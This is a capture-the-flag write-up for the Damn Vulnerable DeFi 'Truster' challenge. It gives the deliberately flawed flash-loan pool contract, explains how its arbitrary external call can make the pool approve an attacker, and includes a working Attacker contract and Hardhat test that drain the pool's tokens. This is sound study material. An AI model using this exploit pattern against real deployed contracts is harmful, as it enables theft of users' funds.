Truster
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../DamnValuableToken.sol";
/**
* @title TrusterLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract TrusterLenderPool is ReentrancyGuard {
using Address for address;
DamnValuableToken public immutable token;
error RepayFailed();
constructor(DamnValuableToken _token) {
token = _token;
}
function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
external
nonReentrant
returns (bool)
{
uint256 balanceBefore = token.balanceOf(address(this));
token.transfer(borrower, amount);
target.functionCall(data);
if (token.balanceOf(address(this)) < balanceBefore)
revert RepayFailed();
return true;
}
}
Goal
Take all DVT tokens out of the pool (TrusterLenderPool) in a single transaction.
Exploit
In order to finish this CTF we will have to use another smart contract. We can name this contract Attacker.
In order to pass this challenge we need to call the flashLoan() function inside TrusterLenderPool from our Attacker contract.
The exploitable part of flashLoan() function is in the following line of code:
target.functionCall(data);
To be able to finish this CTF we will need to use abi encodin.
To exploit the contract we need to:
- create Attacker contract, and create instance from the TrusterLenderPool contract inside the Attacker contract
- create executeFlashLoan(address player, address _token, uint245 amount) external function inside Attacker contract. This function will call flashLoan(uint256 amount, address borrower, address target, bytes calldata data) function from TrusterLenderPool with the following arguments:
- amount will be all the tokens in the pool, 1000000*10^18
- borrower will be the address of the TrusterLenderPool contract itself (the pool will be transferring the funds to iteslf)
- target will be the address of the token contract
- data will be abi.encodeWithSignature("approve(address, uint256)", address(this), amount), this will approve our Attacker contract to spend the funds that belong to the pool on their behalf
- create instance of the token
- call transferFrom() function from the token, we will be transferring all of the tokens from the pool to our account (player)
Attacker contract code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../DamnValuableToken.sol";
import { TrusterLenderPool } from "./TrusterLenderPool.sol";
contract Attacker {
TrusterLenderPool private immutable pool;
constructor(TrusterLenderPool _pool) {
pool = TrusterLenderPool(_pool);
}
function executeFlashLoan(address player, address _token, uint256 amount) external {
pool.flashLoan(
amount,
address(pool),
_token,
abi.encodeWithSignature("approve(address,uint256)", address(this), amount)
);
DamnValuableToken token = DamnValuableToken(_token);
token.transferFrom(address(pool), player, amount);
}
}
Solution code
const { ethers } = require('hardhat');
const { expect } = require('chai');
describe('[Challenge] Truster', function () {
let deployer, player;
let token, pool;
const TOKENS_IN_POOL = 1000000n * 10n ** 18n;
before(async function () {
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
[deployer, player] = await ethers.getSigners();
token = await (await ethers.getContractFactory('DamnValuableToken', deployer)).deploy();
pool = await (await ethers.getContractFactory('TrusterLenderPool', deployer)).deploy(token.address);
expect(await pool.token()).to.eq(token.address);
await token.transfer(pool.address, TOKENS_IN_POOL);
expect(await token.balanceOf(pool.address)).to.equal(TOKENS_IN_POOL);
expect(await token.balanceOf(player.address)).to.equal(0);
});
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
attacker = await (await ethers.getContractFactory('Attacker', player)).deploy(pool.address);
await attacker.executeFlashLoan(player.address, token.address, TOKENS_IN_POOL);
});
after(async function () {
/** SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */
// Player has taken all tokens from the pool
expect(
await token.balanceOf(player.address)
).to.equal(TOKENS_IN_POOL);
expect(
await token.balanceOf(pool.address)
).to.equal(0);
});
});